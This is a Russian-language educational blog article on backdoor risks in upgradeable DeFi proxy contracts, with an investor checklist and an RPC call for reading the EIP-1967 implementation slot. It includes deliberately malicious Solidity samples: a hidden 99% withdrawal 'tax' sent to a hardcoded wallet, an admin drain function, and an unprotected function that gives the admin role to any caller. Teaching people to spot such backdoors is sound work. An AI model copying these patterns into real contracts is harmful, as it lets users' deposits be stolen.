Нажмите ESC, чтобы закрыть

Бэкдоры в смарт-контрактах: Риски функций Upgradeability

В 90% DeFi-протоколов, куда вы заносите свои стейблы, зашит легальный, бэкдорный пульт управления. Называется это чудо Upgradeability. Задумка благая - фиксить баги, оптимизировать газ. Реальность? Возможность в один клик подменить код рабочего контракта на скам-рандом и выгрести ликвидность до последнего цента.

Я вчера разбирал один свежий форк на Base. Сидел до трех ночи. Думал, глаз замылился — ан нет, классический таймбомб в прокси. И ведь аудит у них есть! Красивая PDF-ка от топовой конторы. Давайте разберем.

Архитектурный обман: Как устроены прокси

Для обывателя смарт-контракт — это монолит. Задеплоил — забыл. Но если нужна обновляемость, архитектуру делят на два тела. Прокси (Proxy) и Логика (Implementation). Пользователь всегда стучится в Прокси. Прокси не имеет собственной логики для бизнес-процессов. Он тупой. Он просто перенаправляет вызовы через delegatecall.

Вот тут и зарыта собака. delegatecall — это самая опасная опция в Solidity. Она выполняет код целевого контракта (Имплементации), но в контексте хранения (storage) самого Прокси. То есть, переменные лежат в Прокси, а код берется снаружи. Админ меняет адрес Имплементации в прокси-контракте — бам, у вас обновленный протокол. Или бэкдор.

Основные паттерны, которые вам продают под видом безопасности:

  • UUPS (UUPSUpgradeable): Слот с адресом логики лежит в самом контракте логики. Если админ задеплоит кривую имплементацию, которая забыла наследоваться от UUPS — контракт превращается в кирпич. Навсегда. Деньги заперты. Иронично? Очень.
  • Transparent Proxy Pattern (TPP): Тут за логику апгрейда отвечает специальный ProxyAdmin. Разделение прав: юзеры вызывают бизнес-логику, админ — только функции апгрейда. Выглядит чище. Но газа жрет как не в себя из-за постоянных проверок msg.sender на уровне фаллбэка.
  • Beacon Proxy: Один контракт-маяк (Beacon) хранит адрес логики для сотен однотипных прокси. Удобно для NFT-коллекций или пулов. Поменял адрес в маяке — обновил тысячу контрактов. Удобно для хакера? Еще бы. Один взлом — и легла вся сеть пулов.

Анатомия бэкдора: Как у вас заберут деньги

Думаете, для кражи нужен сложный эксплойт? Ха. Админу достаточно изменить одну строчку в новой имплементации.

Давайте посмотрим на реальный код. На коленке набросал классический пример "честного" контракта, который легким движением руки превращается в тыкву.

Стейдж 1: Честный контракт (Implementation_V1.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// Обычный пул, инвесторы несут бабки, радуются процентам
contract VaultV1 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    // Вместо конструктора юзаем initializer. Забыл вызвать - контракт твой, забирай кто хочешь.
    function initialize() public initializer {
        admin = msg.sender; // Сюда падает адрес деплоера. Или мультисиг (надеемся).
    }
    function deposit() external payable {
        require(msg.value > 0, "Zero funds");
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // Честный вывод. Никаких скрытых комиссий. Пока что.
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Low balance");
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(msg.sender).transfer(_amount);
    }
}

Все чисто. Аудиторы ставят галочку. Протокол запускается, ликвидность растет, в чатах ликуют.

Стейдж 2: Ночной апгрейд (Implementation_V2.sol)

Проходит месяц. Накопилось 5000 ETH. Админ (или хакер, утащивший приватник) деплоит вторую версию. Находит функцию upgradeTo() в прокси и подсовывает новый адрес.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
    // ВАЖНО: Storage layout должен копейка в копейку повторять V1.
    // Сместил переменную - сломал маппинги, наступил хаос.
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // Кошель на островах
    // Заглушка, чтобы инициализатор не сработал дважды
    function initialize() public initializer {}
    function deposit() external payable {
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // А вот и наш бэкдор. Заметит обычный челик? Нет.
    function withdraw(uint256 _amount) external {
        // Внешне все ок, но...
        require(balances[msg.sender] >= _amount, "Low balance");
        
        // Скрытый налог. Тихонько отщипываем 99% в пользу shadowWallet. 
        // Почему не 100%? Чтобы транза сразу не падала по ошибке, пусть думают что лаг интерфейса.
        uint256 tax = (_amount * 99) / 100;
        uint256 userShare = _amount - tax;
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(shadowWallet).transfer(tax); 
        payable(msg.sender).transfer(userShare);
    }
    // Или просто админская кнопка "Свалить в закат"
    function emergencyDrain() external {
        require(msg.sender == admin, "Not an admin");
        // Забираем всё под чистую. Прощай, ликвидность.
        payable(shadowWallet).transfer(address(this).balance);
    }
}

Юзер идет на сайт, нажимает Withdraw, транзакция подписывается. Интерфейс крутит колесико. На кошелек падает 1% от депо, остальное улетело. Вы кричите в телеграм-чате, а модераторы уже удаляют сообщения и банят вас. Классика.

Коллизия слотов памяти: Самый изощренный скрытый бэкдор

Иногда админу даже не нужно писать явный криминал вроде emergencyDrain(). Есть штука покруче — умышленная коллизия слотов памяти (Storage Slot Collision).

В EVM нет имен переменных. Есть только слоты (от 0 до 2256-1), куда данные пишутся последовательно. Если в новой имплементации намеренно изменить порядок объявления переменных, можно добиться того, что запись в условную переменную userLimit перезапишет адрес admin.

Я как-то наткнулся на контракт, где при апгрейде перед переменной owner воткнули мелкий bool. Из-за этого переменные сдвинулись. Любой юзер, вызывавший функцию изменения своих настроек, автоматически становился владельцем контракта и мог его вычистить. Разработчики орали, что это случайная ошибка. Ага, верю. Слили ровно на кошелек, который за два дня до этого минтил торнадо-кеш. Случайность, конечно.

Чек-лист параноика: Как не стать ликвидностью

Если вы думаете, что Etherscan вас спасет — вы наивны. Зеленая галочка "Verified" на прокси-контракте означает лишь то, что код самого прокси чист. Смотреть нужно глубже.

Вот вам сводная таблица — куда смотреть и чего бояться, если вы решили закинуть в протокол больше, чем стоимость вашего обеда.

Параметр контрактаИдеально (Safe)Опасно (Red Flag)Как проверить в эксплорере
Тип контрактаНеизменяемый (Immutable)Прокси (UUPS / Transparent)Вкладка Contract -> Есть кнопки Read as Proxy / Write as Proxy.
Управление (Admin)Мультисиг (Gnosis Safe 3/5) + ТимлокEOAs (обычный адрес одного админа)Читаем слот admin или owner. Идем в этот адрес. Если там нет кода (это не контракт), у проекта один хозяин. Приватник утек — вы банкрот.
Timelock (Временная задержка)От 48 часов до 7 днейОтсутствует или выставлен на 0Проверяем, идет ли вызов апгрейда через контракт-таймлок. Если админ может нажать upgradeTo прямо сейчас — бегите.
Слот имплементацииХеширован по EIP-1967Кастомный, скрытый слотПроверить storage-миграцию. Вкладка State на Etherscan при апгрейдах.

Таймлоки (Timelocks) — это еще одна иллюзия безопасности, на которую молятся хомяки. Разработчики гордо заявляют в Дискорде: «У нас стоит таймлок на 48 часов! Никаких внезапных апгрейдов!».

Вроде звучит круто. У админа есть двое суток, чтобы выкатить транзу на обновление, а у вас — двое суток, чтобы заметить подвох, поднять панику и вытащить свои кровные. По факту? Всем плевать.

Кто из вас мониторит мемпул или ивенты таймлока 24/7? Никто. Вы спите, вы работаете, вы пьете пиво. Хакер или скам-админ ставит транзу на апгрейд в пятницу вечером. В воскресенье ночью таймлок истекает, код подменяется, а в понедельник утром вы просыпаетесь с нулевым балансом и кучей бесполезных мыслей в голове. Временной лаг спасает только тогда, когда у вас настроены автоматические алерты (через условный Defender Sentinel или Tenderly) и боты для экстренного вывода. Нет бота? Вы просто увидите, как ваши деньги уплывают, находясь в очереди на заклание.

А теперь про малоизвестную дичь, о которой редко пишут в стандартных аудитах.

Архитектурные мины: Скрытые методы инициализации

Когда вы деплоите обычный контракт, отрабатывает constructor. Он выполняется один раз, записывает нужные переменные в сторейдж и исчезает. В прокси-архитектуре конструктор имплементации не трогает сторейдж самого прокси. Для этого придумали функцию-инициализатор, которую мы видели выше (initialize).

И вот тут начинается высший пилотаж бэкдор-инженерии. Что если админ оставил вторую функцию инициализации? Или скрытый метод re-initialization?

Смотрите, в OpenZeppelin есть модификатор reinitializer(uint8 version). Он нужен для того, чтобы при апгрейде на V2 инициализировать новые переменные. Но если девелопер напишет свой велосипед или «случайно» забудет защитить функцию повторной конфигурации, то любой встречный сможет перетереть критические переменные.

Пример уязвимого (или умышленно подставленного) кода миграции:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV3 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    // Новые переменные для V3
    bool public isPaused;
    address public trustedRecoveryAddress;
    // Реинициализатор. Якобы для апгрейда.
    // Но посмотрите на эту строчку. Нашли косяк?
    function upgradeConfig(address _recovery) external {
        // "Забыли" проверку require(msg.sender == admin, "Not admin");
        // Или зашили сюда логику, которая сбрасывает статус инициализации
        trustedRecoveryAddress = _recovery;
        
        // Маленький подарок для себя любимого:
        admin = msg.sender; // Бам! Кто угодно дергает функцию и забирает права админа
    }
}

Вы скажете: «Ну это слишком тупой баг, его увидят!». Черта с два. Его прячут за сложными математическими формулами или внутри левых библиотек, которые импортируются in deploy. В итоге функция выглядит как безобидный расчет процентов, а внутри происходит банальный overwrite (перезапись) админского слота.

Как это выглядит на панели управления: Чтение слотов напрямую

Если админы захотят вас кинуть, они не будут светить код бэкдора на Etherscan. Они просто задеплоят имплементацию без верификации исходного кода. Вы увидите в эксплорере только кучу байткода. Страшно? Естественно.

Чтобы понять, куда указывает прокси прямо сейчас, вам нужно научиться смотреть в корень — в слоты памяти. По стандарту EIP-1967, адрес логики всегда должен лежать в строго определенном слоте, чтобы избежать тех самых коллизий.

Адрес слота имплементации (EIP-1967):
bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
Что дает нам хэндл: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

Если вы умеете пользоваться eth_getStorageAt, вам плевать на то, верифицирован контракт или нет. Вы берете адрес прокси, запрашиваете этот слот и получаете чистый hex-адрес текущего контракта логики. И если этот адрес изменился без предупреждения — вынимайте деньги.

# Пример запроса через RPC (curl) для проверки, что там реально зашито
curl https://mainnet.infura.io/v3/YOUR_KEY \
  -X POST \
  -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'

Ответ вернет 32 байта, где последние 20 байт — это реальный адрес контракта, который управляет вашими деньгами в данную секунду. Не тот, что нарисован на красивом фронтенде проекта, а тот, который выполнит delegatecall.

Что в итоге?

Запомните: апгрейдабилити — это всегда компромисс между безопасностью разработчика и безопасностью инвестора. Если проект кричит о миллиардной TVL (Total Value Locked), но сидит на прокси с мультисигом 2-из-3 без таймлока, то этот миллиард принадлежит не инвесторам. Он принадлежит трем чувакам, которые держат ключи. Или одному хакеру, который их фишингом разведет.

Если контракт обновляемый — вы априори доверяете людям, а не коду. А люди, как показывает практика крипты, имеют свойство ломаться, шантажироваться или просто сходить со ума при виде сумм с шестью нулями.


FAQ

Апгрейдиемость - это архитектурный паттерн, при котором протокол делят на фронт-контракт (Proxy) и контракт с логикой (Implementation). Разработчики могут накатывать обновления и менять код «под капотом» через вызовы delegatecall. Главный риск здесь — жесткая централизация. Тот, у кого в руках админ-ключи (admin keys), может в один клик подменить адрес старой проверенной реализации на вредоносный код. Это позволяет полностью переписать логику изменения состояний протокола и мгновенно выгрести (сдрейнить) всю залоченную в нем крипту.

Чтобы выявить бэкдор, нужно чекнуть архитектуру контракта через сканер вроде Etherscan. С помощью RPC-метода eth_getStorageAt проверяется наличие ячейки памяти EIP-1967 (слот 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc) — так можно вытащить скрытый поинтер на контракт реализации. Если этот слот возвращает адрес, а управляющая переменная (ProxyAdmin или owner) ведет на обычный кошелек (EOA), а не на децентрализованный мультисиг или контракт таймлока (Timelock), то в коде сидит прямой админский бэкдор.

Коллизия слотов памяти - это критическая уязвимость EVM. Она возникает, когда в новой версии контракта реализации переменные состояния (state variables) объявляют в другом порядке или меняют их типы данных по сравнению с предыдущей версией. Из-за этого переменные намертво накладываются на одни и те же 32-байтные слоты. При таком несовпадении (misalignment) левые функции начинают случайно перезаписывать критически важные данные. В итоге любой стандартный вызов от обычного юзера может напрочь сломать структуру памяти, обнулить балансы или незаметно затереть слот адреса админа, отдав контракт под полный контроль атакующего.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...